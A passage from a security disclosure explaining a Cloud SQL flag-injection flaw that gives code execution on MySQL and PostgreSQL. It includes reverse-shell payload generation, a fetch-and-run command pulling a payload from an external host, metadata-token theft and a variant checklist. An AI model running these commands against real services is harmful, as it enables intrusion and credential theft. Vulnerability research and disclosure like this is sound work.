postgres=> set cloudsql.supported_extensions = foobar;
ERROR: permission denied to set parameter "cloudsql.supported_extensions"
set cloudsql.supported_extensions = foobar;tries to change the setting directly from inside the database.- The error says permission is denied, so the normal route is closed.
Its default value is a long list of extension names with versions:
bloom:1.0, btree_gin:1.0, btree_gist:1.2, chkpass:1.0, citext:1.3, cube:1.2, dblink:1.2, dict_int:1.0, dict_xsyn:1.0, earthdistance:1.1, fuzzystrmatch:1.1, hstore:1.4, intagg:1.1, intarray:1.2, ip4r:2.4, isn:1.1, lo:1.1, ltree:1.1, pg_buffercache:1.2, pg_prewarm:1.1, pg_stat_statements:1.4, pg_trgm:1.3, pgaudit:1.1.2, pgcrypto:1.3, pgrowlocks:1.2, pgstattuple:1.4, plpgsql:1.0, postgis:2.3.0, postgis_tiger_geocoder:2.3.0, postgis_topology:2.3.0, prefix:1.2.0, sslinfo:1.2, tablefunc:1.0, tsm_system_rows:1.0, tsm_system_time:1.0, unaccent:1.1, uuid-ossp:1.1, postgres_fdw:1.0, pg_freespacemap:1.2, pg_visibility:1.2, pageinspect:1.5, pgfincore:1.2, pg_repack:1.4.4, hll:2.12, plproxy:2.9.0
An extension is an optional add-on module for PostgreSQL. This setting restricts which extensions a customer is allowed to load. The final command looked like this:
gcloud sql instances patch test-pg "$(printf -- '--database-flags=pgaudit.role=ffff\ncloudsql.supported_extensions = bloom:1.0')"
gcloud sql instances patch test-pgchanges settings on the instance namedtest-pg.printfturns\ninto a real line break, so the flag value contains two lines.- The first line sets
pgaudit.roletoffff, a harmless value that exists only to make the first line valid. - The second line sets
cloudsql.supported_extensionsto justbloom:1.0, shrinking the allowed list to a single extension.
The command worked and the setting was indeed changed as he wanted. He knew this attack primitive had great potential, but the impact so far was still low. Afraid that Ezequiel might find the same thing first, he decided to file a ticket with the VRP team describing his progress.
Step 3: the same primitive on MySQL
Shortly after, he switched back to MySQL and built a new patch command, this time with correct syntax. He targeted secure_file_priv, a setting that controls which directory MySQL is allowed to read and write files in. The 'root'@'%' account cannot change it:
mysql> set global secure_file_priv = "/mysql/tmp/something";
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable
mysql>is the prompt of the MySQL client.set global secure_file_priv = "/mysql/tmp/something";tries to change the setting for the whole server.- The error says the variable is read-only, so it cannot be changed this way.
The default value is /mysql/tmp/. The command that was finally accepted without an INTERNAL_ERROR:
gcloud sql instances patch test "$(printf -- '--database-flags=init_connect=SELECT CURRENT_USER() AS a\nsecure_file_priv=/mysql/tmp/something')"
gcloud sql instances patch testchanges settings on the instance namedtest.printfturns\ninto a real line break.- The first line sets
init_connectto a harmless query. - The second line sets
secure_file_privto/mysql/tmp/something, a directory that does not exist.
On MySQL, changes are dispatched as a MySQL query first, so the payload was reflected that way. He restarted the instance with gcloud sql instances restart test, and it did not come back. Checking Log Explorer gave the reason:
2021-01-21T14:25:59.751089Z 0 [ERROR] Failed to access directory for --secure-file-priv. Please make sure that directory exists and is accessible by MySQL Server. Supplied value : /mysql/tmp/something
- The timestamp and
[ERROR]mark a startup error. - The message says MySQL could not access the directory given for
--secure-file-priv. Supplied value : /mysql/tmp/somethingshows the value he injected was actually used by the server at startup.
MySQL was affected after all. He sent an update to the VRP team. The next day his report was triaged, meaning a first human review confirmed it was worth looking at, and forwarded to the VRP with priority P3, which he jokes is roughly "unless you have anything better to do".
Step 4: from file drop to code execution on MySQL
He kept researching. He knew the CSV export feature runs as 'root'@'localhost', which is a different account from 'root'@'%'. The localhost version does have permission to drop files in the secure_file_priv directory. The plan was to point plugin_dir, the directory MySQL loads plugins from, at the same directory, and then load native code from there. He prepared the configuration with:
gcloud sql instances patch test--my "$(printf -- '--database-flags=init_connect=SELECT CURRENT_USER() AS a\nplugin_dir=/mysql/tmp/')"
gcloud sql instances patch test--mychanges settings on the instance namedtest--my.- The second line sets
plugin_dirto/mysql/tmp/, the same directory the export feature can write to.
The database import process, by contrast, was completely low-privileged, as this log line shows:
2021-01-21T21:28:21.202207Z cloudsqlimport[cloudsqlimport] @ localhost [] 2012 777276492 Query LOAD DATA LOCAL INFILE 'Reader::loaddata' INTO TABLE `test` CHARACTER SET 'utf8mb4' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' ESCAPED BY '\"' LINES TERMINATED BY '\n'
- The timestamp and
cloudsqlimport[cloudsqlimport] @ localhostshow the internal import account running the statement. Querymarks the start of the SQL text.LOAD DATA LOCAL INFILE 'Reader::loaddata' INTO TABLE testis MySQL's bulk-load command: read a file and insert its rows into the tabletest.- The rest describes the file format: character set
utf8mb4, fields separated by commas, optionally wrapped in double quotes, escaped with double quotes, lines ended by a newline.
He did not understand at first how a user without file permissions could use a load-data statement. The LOCAL keyword explains it: when LOCAL is specified, the file is read by the client program on the client host and sent to the server. So the server never touches the file itself. The SQL import feature therefore runs with effectively the same privileges as the 'root'@'%' account he already had.
The CSV export process, on the other hand, runs with high privileges, but he was limited to one single SELECT query. He started reading the official MySQL documentation to see whether a data-changing operation could be called as a subquery, that is, a query nested inside another query.
He found this passage: MySQL permits a subquery to refer to a stored function that has data-modifying side effects, such as inserting rows into a table. For example, if f() inserts rows, the following query can modify data:
SELECT ... WHERE x IN (SELECT f() ...);
This behavior is an extension to the SQL standard. In MySQL, it can produce nondeterministic results because f() might be executed a different number of times for different executions of a given query depending on how the optimizer chooses to handle it.
SELECT ... WHERE x IN (SELECT f() ...);is a query where the list of values to compare against comes from a nested query that calls a functionf().- The text below explains that MySQL allows this even when
f()changes data, which the SQL standard does not allow. - It also warns that the function may run a different number of times depending on how the query optimiser (the part that plans how to run a query) decides to execute it.
Stored procedures came to the rescue. A stored procedure is a named block of SQL saved inside the database that you can call later. He put together a test one quickly and hit the next restriction:
mysql> source stored-test.sql
ERROR 1419 (HY000): You do not have the SUPER privilege and binary logging is enabled (you *might* want to use the less safe log_bin_trust_function_creators variable)
source stored-test.sqltells the MySQL client to read and run the SQL statements in that file.- The error says he lacks the SUPER privilege while binary logging is enabled. Binary logging records every change to the database so it can be replayed on a replica; because of it, MySQL is strict about who may create functions that change data.
- The message itself suggests the workaround: the
log_bin_trust_function_creatorsvariable.
The relevant documentation says that setting the global log_bin_trust_function_creators system variable to 1 relaxes those conditions. The setting was off, but he could flip it using the vulnerability once again:
gcloud sql instances patch test--my "$(printf -- '--database-flags=init_connect=SELECT CURRENT_USER() AS a\nplugin_dir=/mysql/tmp/\nlog_bin_trust_function_creators=ON')"
- The command changes settings on
test--my. - The second line keeps
plugin_dirat/mysql/tmp/. - The third line turns
log_bin_trust_function_creatorson, which allows him to create stored procedures that change data.
With that, he could finally create stored procedures. His first attempt to escalate his privileges used a function called from his own account:
mysql> select NonDet();
ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation
select NonDet();calls the stored function he created.- The error says the operation needs SUPER privileges, which his account does not have.
It failed, and even root@localhost during the CSV export got the same error back:
Error 1045: Access denied for user 'root'@'%' (using password: NO)
Error 1045is MySQL's "access denied" error.for user 'root'@'%'names the account that was refused.(using password: NO)means no password was supplied.
He was confused: the error named 'root'@'%', his own account, while the call was clearly executed by 'root'@'localhost'. Inspecting the definition of the NonDet function explained it: the function ran as its definer, the account that created it (him), not as the privileged user who called it. He tried adding a definer clause naming 'root'@'localhost', but could not create the function that way, because it required SUPER privileges.
Reading the MySQL documentation on the security of stored objects, he found that MySQL supports the phrase SQL SECURITY INVOKER in a procedure's definition. That phrase means "run this procedure with the privileges of whoever calls it", instead of the default, which is the privileges of whoever created it. The database allowed him to create the procedure in this special mode. After calling the function through the CSV export process, the result of the UPDATE statement was finally reflected.
Even after restarting the server, because FLUSH could not be used inside the procedure, he still did not gain access to file operations:
mysql> SELECT "foobar" INTO DUMPFILE '/mysql/tmp/dumpfile.test';
ERROR 1045 (28000): Access denied for user 'root'@'%' (using password: YES)
SELECT "foobar" INTO DUMPFILE '/mysql/tmp/dumpfile.test';writes the textfoobarinto a file at that path.- The error again says access denied for
'root'@'%', this time with a password supplied. - He guessed the extra separation through the
super_usertable, an internal table that decides which accounts count as superusers, was the cause.
After some further trial and error, he chose the easier route and dropped the file through the stored procedure itself. He downloaded a UDF binary from the lib_mysqludf_sys project, a well-known collection of MySQL functions that let SQL run operating system commands. He converted the binary into a stored procedure with a small script, so that calling the procedure would write the binary to disk. Dropping the file succeeded, so he tried creating the function as a last step, but it failed once again:
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys2.so';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys2.so' (errno: 0 /mysql/tmp/lib_mysqludf_sys2.so: wrong ELF class: ELFCLASS32)
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys2.so';tells MySQL to load a compiled library file and expose one of its functions under the namelib_mysqludf_sys_info.- The error says the shared library could not be opened.
wrong ELF class: ELFCLASS32means the file was compiled for a 32-bit processor, while the server is 64-bit. ELF is the standard format for compiled programs on Linux.
He knew this was just a matter of some additional work. He installed libmysqld-dev, the development files needed to compile MySQL add-ons, recompiled the source code for the right architecture, repeated all the steps to get the file onto MySQL's filesystem, and everything worked. But it was still very uncomfortable, because the commands ran blindly without any output, and the image still did not contain any useful utilities.
As a next step, he generated a reverse TCP shellcode with Metasploit, a well-known tool for building attack payloads:
msfvenom -p linux/x64/shell_reverse_tcp -f elf --smallest --out reverse.bin LHOST=[redacted] LPORT=51111
msfvenomis the payload generator that ships with Metasploit.-p linux/x64/shell_reverse_tcppicks the payload: a reverse shell for 64-bit Linux.-f elfasks for the output in ELF format, a runnable Linux program.--smallestasks for the smallest possible encoding.--out reverse.binnames the output file.LHOST=[redacted] LPORT=51111tell the payload where to connect back: the attacker's address and port. The address shown here is a placeholder.
He tried dropping this file with his existing UDF function:
SELECT sys_exec("printf '\x7f\x45\x4c…' > /mysql/tmp/revshell.bin");
sys_exec(...)is the UDF function that runs an operating system command.- The command inside is
printfwith a long series of\xbyte escapes, redirected with>into a file. The…stands for the rest of the bytes. - The idea was to write the binary byte by byte using only text commands.
This did not work, and he did not understand why at that point. He had to go through the stored procedure file-dropping chain once again, and finally gained a remote shell. Later he found that neither printf supported \x expressions nor echo supported the extended -e syntax in that environment. Experimenting with the options was important, because he knew he would need the same trick on PostgreSQL. He was able to use sed, a text-stream editor, to drop files with a syntax like this:
echo -n x | sed 's/./\\x20/' > /mysql/tmp/single-space.txt
echo -n xprints the single characterxwithout a trailing newline.|pipes that output into the next command.sed 's/./\\x20/'replaces the single character with the text\x20, which is the escape for a space character.> /mysql/tmp/single-space.txtwrites the result into a file.
By repeating this with different byte values, he could build a binary file out of text.
The instance was still running in the host's network context, but with default Docker capabilities as a non-root user, so abusing the cloud agent to escape from Docker was not possible. The Docker image that belongs to the service:
cat /var/lib/cloudsql/noncritical/*.release
DOCKER_IMAGE_URI="gcr.io/speckle-umbrella/mysql57_service:speckle_service_agents_20201213.02_RC00"
catprints the contents of a file./var/lib/cloudsql/noncritical/*.releaseis a path with a wildcard, matching release files in that directory.- The output names the container image the service runs from, stored in a Google container registry under the project
speckle-umbrella.
The project ID that the managed identity was assigned to, read from the metadata server:
wget http://metadata.[redacted]/0.1/meta-data/project-id -O -
Connecting to metadata.[redacted] ([redacted]:80)
writing to stdout
speckle-umbrella-48- 100% |********************************| 19 0:00:00 ETA
wgetis a command line downloader.http://metadata.[redacted]/0.1/meta-data/project-idis the metadata server's address for the project ID.-O -means "write the downloaded content to standard output", that is, print it on screen.- The lines below are
wget's progress messages: it connected to the metadata server at[redacted]on port 80, wrote to standard output, and downloaded 19 bytes. - The downloaded value is the project ID
speckle-umbrella-48.
The service accounts available on the machine:
wget http://metadata.[redacted]/0.1/meta-data/service-accounts/ -O -
Connecting to metadata.[redacted] ([redacted]:80)
writing to stdout
default
default/
[redacted]
[redacted]/
wget http://metadata.[redacted]/0.1/meta-data/service-accounts/[redacted]/acquire -O -
Connecting to metadata.[redacted] ([redacted]:80)
writing to stdout
{"accessToken":"…","expiresAt":1611414384,"expiresIn":3344}- 100% |********************************| 275 0:00:00 ETA
written to stdout
- The first
wgetlists the service accounts attached to the machine. It shows adefaultaccount and one named[redacted]. - The second
wgetcalls theacquireendpoint for that account, which asks the metadata server for a token. - The response is a small JSON object:
accessTokenis the token itself (redacted here),expiresAtis when it expires as a Unix timestamp, andexpiresInis how many seconds it remains valid.
And the permissions of the service account, checked against Google's tokeninfo endpoint:
{
"issued_to": "103047181598510924038",
"audience": "103047181598510924038",
"scope": "https://www.googleapis.com/auth/bigquery https://www.googleapis.com/auth/cloudimagemanagement https://www.googleapis.com/auth/pubsub https://www.googleapis.com/auth/sqlservice.agent https://www.googleapis.com/auth/dataaccessauditlogging https://www.googleapis.com/auth/cloudkms https://www.googleapis.com/auth/servicecontrol https://www.googleapis.com/auth/devstorage.full_control",
"expires_in": 3144,
"access_type": "online"
}
issued_toandaudienceidentify the client the token was issued to.scopelists what the token is allowed to do. Each URL is one permission: BigQuery (Google's data warehouse), cloud image management, Pub/Sub (message queues), the SQL service agent, data access audit logging, Cloud KMS (key management), service control, anddevstorage.full_control, which is full read and write access to Google Cloud Storage buckets.expires_insays the token is valid for another 3144 seconds.access_type: onlinemeans the token was obtained interactively and no refresh token was issued.
He later realised that log_bin_trust_function_creators was actually exposed as a database flag, so the technique he found above to escalate his privileges to SUPER was actually an independent security issue.
Step 5: command execution on PostgreSQL without dropping a file
His original report to Google noted that the flaw could be exploited by a malicious GCP user to access restricted features of PostgreSQL and potentially execute arbitrary code on the virtual machine with the privileges of the managed service's service account. He added that this might not be feasible without a way to drop a file, but probably not impossible, based on the PostgreSQL documentation about client connection settings.
After reviewing the documentation of the PostgreSQL server configuration options, he found several candidates that execute commands without needing to save a file first. These were:
archive_cleanup_commandarchive_commandrecovery_end_commandrestore_commandssl_passphrase_command
These are all settings whose value is a shell command that PostgreSQL runs at certain moments. The restore and recovery ones did not seem feasible, because restoring a point-in-time snapshot requires a new instance to be created, and the attacker has little control over the destination server. He did not test that path because the archive_command path worked.
After some local trial and error, he found this set of PostgreSQL options offering a convenient way of executing shell commands:
archive_mode = on
wal_level = replica
archive_command = 'any shell command goes here'
archive_timeout=1s
archive_mode = onturns on archiving, the feature that copies completed transaction logs (WAL, write-ahead log) to a safe place.wal_level = replicasets how much detail is written to those logs, enough for a replica to replay them.archive_commandis the shell command PostgreSQL runs to copy each log file. Here it is a placeholder.archive_timeout=1sforces a log switch every second, so the archive command runs often.
Knowing that the Docker image the PostgreSQL server runs in is pure, meaning it contains only what is needed, he first established a way to save arbitrary binary content:
archive_command = 'echo -n x|sed "s/./\\x20\\x20/" > /tmp/proof.txt'
echo -n xprints the characterxwithout a newline.sed "s/./\\x20\\x20/"replaces it with two escaped spaces.> /tmp/proof.txtwrites the result into a file.
As he later notes, he did not use this in the end.
At this point he was experimenting with a command like this:
gcloud sql instances patch test-pg "$(printf -- '--database-flags=pgaudit.role=ffff\narchive_command=\x27/usr/bin/id\x27')"
gcloud sql instances patch test-pgchanges settings ontest-pg.printfturns\ninto a line break and\x27into a single quote character.- The first line sets
pgaudit.roletoffff. - The second line sets
archive_commandto'/usr/bin/id', a harmless command that prints the current user's identity.
The command executed successfully, but the changes did not reflect. More precisely, they were probably overridden by another layer:
wal_level | replica
archive_command | /utils/replication_log_processor -disable_log_to_disk -action=archive -file_name=%f -local_file_path=%p
archive_mode | on
- This is the output of a settings query, one setting per line with its value.
wal_levelisreplicaandarchive_modeison, as expected.archive_commandis not his command but a Google utility,replication_log_processor, which handles the archiving itself. So the platform overwrote his value.
He thought about alternatives. How about assigning a custom private key and getting the command executed by the password input callback? How about overriding log_directory and log_filename and log_line_prefix to drop a binary executable, then overriding dynamic_library_path to point at the log directory and loading the function? He also reviewed the documentation of the available plugins, hoping some of them would help. Running SELECT * FROM pg_available_extensions lists plugins that cannot be loaded because they are not in cloudsql.supported_extensions. Two of them are proprietary:
cloudsql_stat | 1.0 | | Google Cloud SQL statistics extension
google_insights | 1.0 | | Google extension for database insights
pgtap | 1.1.0 | | Unit testing for PostgreSQL
pglogical | 2.3.1 | | PostgreSQL Logical Replication
- Each line is one extension: name, version, an empty column, and a description.
cloudsql_statandgoogle_insightsare Google's own extensions.pgtapis a testing framework andpglogicalis a replication tool.
But he rather started investigating why and how those archive_command options were configured at all. The answer was simple: the database had been created with point-in-time recovery support turned on. Point-in-time recovery lets you restore the database to any moment in the past, and it works by keeping those archived logs. Without that feature, archive_mode is off and archive_command empty.
Unfortunately archive_mode and wal_level cannot be changed without restarting the server, and Google verifies flags when they are set. That might break the idea. This time he had some luck: the following command was finally both accepted and reflected after manually restarting the database server:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=autovacuum_freeze_max_age=100001,pgaudit.role=ffff\narchive_mode=on\narchive_command=\x27/usr/bin/id\x27')"
gcloud sql instances patch test-pg12changes settings ontest-pg12.- The first line sets two flags separated by a comma:
autovacuum_freeze_max_ageto100001andpgaudit.roletoffff. - The second line turns
archive_modeon. - The third line sets
archive_commandto'/usr/bin/id'.
He added autovacuum_freeze_max_age because, according to the flag description, it requires restarting the server, and he hoped that way the warnings emitted about his malicious change to archive_command would be ignored. Later he realised he was too cautious: Google ignored that warning anyway.
Then he tried dropping his reverse shellcode using the sed trick described earlier. His first attempt failed with INTERNAL_ERROR. He thought it was because the escaped command was too long, so he split it into three parts. It looked something like this:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=autovacuum_freeze_max_age=100004,pgaudit.role=f4\narchive_mode=on\narchive_command=\x27echo -n x|sed "s/./\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xc2\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x6a\\\\x29\\\\x58\\\\x99\\\\x6a\\\\x02\\\\x5f\\\\x6a\\\\x01\\\\x5e\\\\x0f\\\\x05\\\\x48\\\\x97\\\\x48\\\\xb9\\\\x02\\\\x00\\\\xc7\\\\xa7\\\\xa8/" >/pgsql/s2\x27')"
…
- The command changes settings on
test-pg12. - The first line sets
autovacuum_freeze_max_ageto100004andpgaudit.roletof4. - The second line turns
archive_modeon. - The third line sets
archive_commandto asedcommand that writes a long series of escaped bytes into the file/pgsql/s2. - The
…stands for the other two parts of the same idea, which the report does not show.
After the three parts were, as he thought, uploaded, he tried to execute the binary by running:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=autovacuum_freeze_max_age=100005,pgaudit.role=f5\narchive_mode=on\narchive_command=\x27cd /pgsql;cat s1 s2 s3 > s;chmod +x s;./s\x27')"
- The first line sets
autovacuum_freeze_max_ageto100005andpgaudit.roletof5. - The second line turns
archive_modeon. - The third line sets
archive_commandto a shell command with several steps separated by semicolons: change into/pgsql, concatenate the three parts into a files, make it executable withchmod +x, and run it with./s.
But he encountered INTERNAL_ERROR again. Later he understood it was because the server side did some kind of text manipulation on the received data; he believes it split his input on the semicolon character. At that point he did not know this, so he had to find another way.
He looked for commands present in the Docker image that could connect to a remote server over the network, read some data and either save it to a file or at least print it. Netcat, a common network tool, is obviously not present, and bash did not support /dev/tcp, a bash feature that opens network connections. Then he realised psql, the PostgreSQL client, is a perfect fit and is most probably present in the image.
So he launched a PostgreSQL server on his side and exposed it with ngrok, a service that gives a public address to a server running on your own machine. After some trial and error he concluded it is not easy to produce pure binary output with psql, so he turned to base64. He knew the base64 program was present in the MySQL image, so he hoped it was in the PostgreSQL one as well.
The commands he used to prepare the source data in his own PostgreSQL server:
postgres=# create table x (d VARCHAR(1000));
postgres=# insert into x values (ENCODE(pg_read_binary_file('/tmp/revshell.bin'),'base64'));
create table x (d VARCHAR(1000));creates a table namedxwith one text columndthat can hold up to 1000 characters.insert into x values (...)adds a row.pg_read_binary_file('/tmp/revshell.bin')reads the binary file into the database.ENCODE(..., 'base64')converts those bytes into base64 text.- So the table now holds the reverse shell program as a long text string.
He tested whether he could indeed save the binary file correctly:
psql -h4.tcp.ngrok.io -p10800 -Upostgres -tqA -c "SELECT d FROM x"|base64 -d>/tmp/revshell.test
psqlis the PostgreSQL client.-h4.tcp.ngrok.io -p10800connect to the ngrok address on port 10800.-Upostgresconnects as the userpostgres.-tqAare output options: tuples only, quiet, unaligned, so the result is just the raw text with no table decoration.-c "SELECT d FROM x"runs that query, which returns the base64 text.|base64 -ddecodes the base64 back into binary.>/tmp/revshell.testwrites the result to a file.
This way, the complete gcloud command was constructed:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=pgaudit.role=f8\narchive_mode=on\narchive_timeout=1s\narchive_command=\x27psql -h4.tcp.ngrok.io -p17150 -Upostgres -tqA -c "SELECT d FROM x"|base64 -d>/pgsql/r && chmod +x /pgsql/r && /pgsql/r\x27')"
- The first line sets
pgaudit.roletof8. - The second line turns
archive_modeon. - The third line sets
archive_timeoutto one second, so the archive command runs often. - The fourth line sets
archive_commandto a command that connects to his ngrok server withpsql, fetches the base64 text, decodes it into/pgsql/r, makes it executable and runs it.
And it finally worked.
The GCP project the service belonged to was called speckle-umbrella-pg-3. The service account was running with the same privileges as on MySQL. This includes devstorage.full_control. Based on the point-in-time recovery feature and this permission, he believes he could have accessed data of other clients stored in their PostgreSQL databases by downloading the WAL files from the project's Cloud Storage buckets. However, he did not verify this, as the interpretation of what the limits of being a white hat hacker are is usually different.
Later, after Google asked him for some clarification, he simplified this attack a little by using the local PostgreSQL instance itself to download the binary payload from:
postgres=> create table x (d VARCHAR(1000));
CREATE TABLE
postgres=> insert into x values ('your-base64-payload');
create table x (d VARCHAR(1000));creates the same one-column table as before.CREATE TABLEis the server's confirmation.insert into x values ('your-base64-payload');stores the base64 text of the payload directly, instead of reading it from a file.
And to trigger its execution:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=pgaudit.role=f8\narchive_mode=on\narchive_timeout=1s\narchive_command=\x27psql -h127.0.0.1 -Ucloudsqladmin -d postgres -tqA -c "SELECT d FROM x"|base64 -d>/pgsql/r2 && chmod +x /pgsql/r2 && /pgsql/r2\x27')"
- The first three lines are the same as before.
- The fourth line sets
archive_commandto connect withpsqlto[redacted], the machine itself, as the internalcloudsqladminuser, to thepostgresdatabase, fetch the base64 text, decode it into/pgsql/r2, make it executable and run it.
So the payload no longer needed an external server at all.
Step 6: other attempts
There were some interesting services listening on the loopback network interface on the MySQL host:
tcp 0 0 [redacted]:43901 [redacted]:* LISTEN -
tcp 0 0 :::8080 :::* LISTEN -
- This is the output of a command that lists open network ports, one line per listening socket.
[redacted]:43901is a service reachable only from the machine itself, on port 43901.:::8080is a service on port 8080, reachable on all network interfaces.LISTENmeans the service is waiting for connections.
Both of these were plain HTTP services. Using a meterpreter tunnel, a remote control channel provided by Metasploit, he ran dirb, a tool that guesses file and directory names on a web server, against both of them, but could not find anything other than 404, the "not found" response.
While reading various docs about MySQL, he came across the federated table engine. A federated table is a table whose data actually lives in another database server; MySQL connects to that server when you query it. He knew that if he could connect to the database server through [redacted] or the unix socket, he could authenticate as the real root user, which is a passwordless account. So this could be an alternate way to escalate privileges to the super account. However, the table engine was not supported.
He also played around a bit with the clone plugin, which lets one MySQL server copy data from another, and seemed like another interesting attack vector. But the permissions as configured on GCP by default leave no room for abuse.
His third idea yielded some success, though the impact was completely different from what he expected. A combination of some of the techniques described in this article caused a segmentation fault in the MySQL server. A segmentation fault is a crash caused by a program accessing memory it should not. Under the hood this was a simple null pointer dereference, a bug where the program tries to use an empty memory address, so the only impact is denial of service, meaning the database stops working. He reported it to the vendor.
He also checked some of the XML-related functions briefly. The idea was to send HTTP requests to the metadata server via XXE or similar. XXE stands for XML External Entity, a bug where an XML parser is tricked into fetching a file or URL named inside the document. This did not work.
He also tried mounting similar attacks against PostgreSQL. For example, he tested the dblink and CREATE SERVER features, even reviewing their source code. The goal was to connect to the same PostgreSQL instance, but as the passwordless cloudsqladmin account via localhost. PostgreSQL has a built-in security measure against this:
postgres=> SELECT dblink_connect('dbname=postgres host=[redacted] user=cloudsqladmin [redacted] options=-csearch_path=');
ERROR: password is required
DETAIL: Non-superuser cannot connect if the server does not request a password.
HINT: Target server's authentication method must be changed.
dblink_connect(...)opens a connection from PostgreSQL to another PostgreSQL server.- The string gives the connection details: database
postgres, host[redacted], usercloudsqladmin, a dummy password, and a connection option. ERROR: password is requiredis the refusal.DETAIL: Non-superuser cannot connect if the server does not request a password.explains the rule: a non-superuser may not connect to a server that does not ask for a password, because that would let them impersonate a passwordless account.HINT: Target server's authentication method must be changed.suggests the only fix would be to change the target server's login method.
Root cause
On PostgreSQL the platform appears to write user-supplied flag values into the configuration file and reload the server, so a newline in a flag value becomes a new configuration directive. On PostgreSQL the value is written into the configuration file and the server is reloaded with pg_reload_conf(), so a newline in a flag value becomes a new configuration directive. On MySQL the value is dispatched as a query, and the same injection reaches settings such as secure_file_priv, plugin_dir and log_bin_trust_function_creators.
The existing defences, namely type and enum constraints on most flags, require_super_for_system_table_writes, the super_user table, and the cloudsqladmin and cloudsqlreplica protections, did not cover the few unrestricted string flags. And the client-side header check that first blocked the payload lived in the Python HTTP library rather than in the service, so it could be bypassed locally.
Impact
With a customer account on a managed instance, an attacker could change settings they are not supposed to change, drop files into secure_file_priv, load a UDF and obtain a shell on the MySQL instance, or use archive_command to run commands on the PostgreSQL virtual machine. The shell runs as a non-root user with default Docker capabilities, but the metadata server is reachable and the service account token carries broad scopes, including devstorage.full_control. The author believes this could have allowed reading other clients' PostgreSQL data through WAL files in Cloud Storage, but he did not verify it.
Google's final position was that intra-VM issues in Cloud SQL are not considered security vulnerabilities, because the virtual machine is the security boundary rather than the SQL engine, and the report did not meet the bar for a financial reward. The severity was rated S1 on 7 February, before that decision.
Fix
According to the timeline, the issue was fixed on 16 February 2021, the same day as the final response. The report does not describe the change. The general lesson the author draws is that when generating plain unstructured configuration files, input must be restricted or escaped properly while rendering.
Variants to test
- Send a newline inside any unrestricted string database flag on a managed database service and check whether a second directive appears in the effective configuration, for example by showing the setting or looking for the injected line in the server logs.
- Target settings that are not exposed as flags at all, such as
cloudsql.supported_extensions, and see whether the injected line changes them. - On MySQL, point
plugin_dirandsecure_file_privat the same directory and try to load a UDF from a file dropped by an export feature. A positive result is a successfulCREATE FUNCTION ... SONAME. - On PostgreSQL with point-in-time recovery enabled, set
archive_mode,wal_levelandarchive_commandthrough the flag interface and restart. A positive result is the command running when a WAL segment is archived. - Test whether the server splits input on semicolons or other characters by sending a command containing them and observing
INTERNAL_ERRORversus success. - Try
dblinkorCREATE SERVERagainst localhost as a passwordless superuser account. A positive result is a connection without the "password is required" error. - Check whether client-side validation, for example in an HTTP library, is the only thing blocking a payload, by patching it out locally and resending.
Timeline
- Jan 21, 2021 02:36PM: PostgreSQL config file injection found and reported.
- Jan 21, 2022 03:32PM: MySQL config file injection found, update to VRP sent. (The year is as printed in the report.)
- Jan 22, 2022 10:46AM: triage complete, priority P3 assigned. (The year is as printed in the report.)
- Jan 22, 2021 02:33PM: reported a fully working code execution in MySQL.
- Jan 23, 2021 10:52PM: MySQL RCE reported.
- Jan 24, 2021 10:21PM: highlighted that the
log_bin_trust_function_creatorsprivilege escalation is actually a standalone issue that could be mounted independently. - Jan 24, 2021 11:39PM: PostgreSQL RCE reported.
- Jan 28, 2021 01:39PM: a follow-up question by Google.
- Jan 28, 2021 09:10PM: clarifying some bits.
- Feb 5, 2021 11:35PM: priority changed to P1.
- Feb 7, 2021 06:09PM: "Nice catch! Severity S1."
- Feb 16, 2021 06:20PM: "we decided that it does not meet the bar for a financial reward", "We don't consider intra VM issues in Cloud SQLs as security vulnerabilities (VM is a security boundary there, not the SQL engine)."
- Feb 16, 2021 10:38PM: fixed already.
Credits
Imre Rad.
Glossary
- API: the way one program talks to another over a network, usually with HTTP requests and responses.
- Archive command: a PostgreSQL setting holding a shell command that the server runs to copy each completed transaction log file.
- Archive mode: the PostgreSQL setting that turns on copying of transaction logs for backup and recovery.
- Base64: a way to write binary data using only ordinary text characters.
- Binary logging: MySQL's record of every change to the database, used to replay changes on replicas.
- Cloud SQL: Google's managed service that runs MySQL or PostgreSQL for you.
- Configuration file: a plain text file a program reads to learn its settings, one setting per line.
- Container: a packaged program with everything it needs, isolated from the rest of the machine.
- CSV export: a Cloud SQL feature that runs a query and writes the result to a file.
- Database account: a username and password inside a database, with its own permissions.
- Database flag: a database setting that Cloud SQL lets you change through Google's tooling rather than inside the database.
- Denial of service: making a service stop working for its users.
- Docker: software that runs programs in containers.
- ELF: the standard file format for compiled programs on Linux.
- Enum: a setting whose value must be one of a fixed list of choices.
- Extension: an optional add-on module for a database.
- gcloud: Google's command line tool for managing Google Cloud resources.
- Header: a line of metadata attached to an HTTP request or response.
- Injection: a bug where data you supply is treated as instructions by the program receiving it.
- Instance: one running database server managed by Cloud SQL.
- Metadata server: a special address inside a Google cloud machine that hands out information and tokens about the machine.
- Meterpreter: a remote control channel provided by the Metasploit tool.
- ngrok: a service that gives a public address to a server running on your own machine.
- Null pointer dereference: a program bug where the program tries to use an empty memory address, usually causing a crash.
- pg_reload_conf(): a PostgreSQL function that makes the server re-read its configuration file without a full restart.
- Plugin: an add-on module a database can load from a directory.
- Point-in-time recovery: the ability to restore a database to any moment in the past, using archived transaction logs.
- psql: the command line client for PostgreSQL.
- Reverse shell: a small program that connects from the victim machine back to the attacker and gives the attacker a command prompt there.
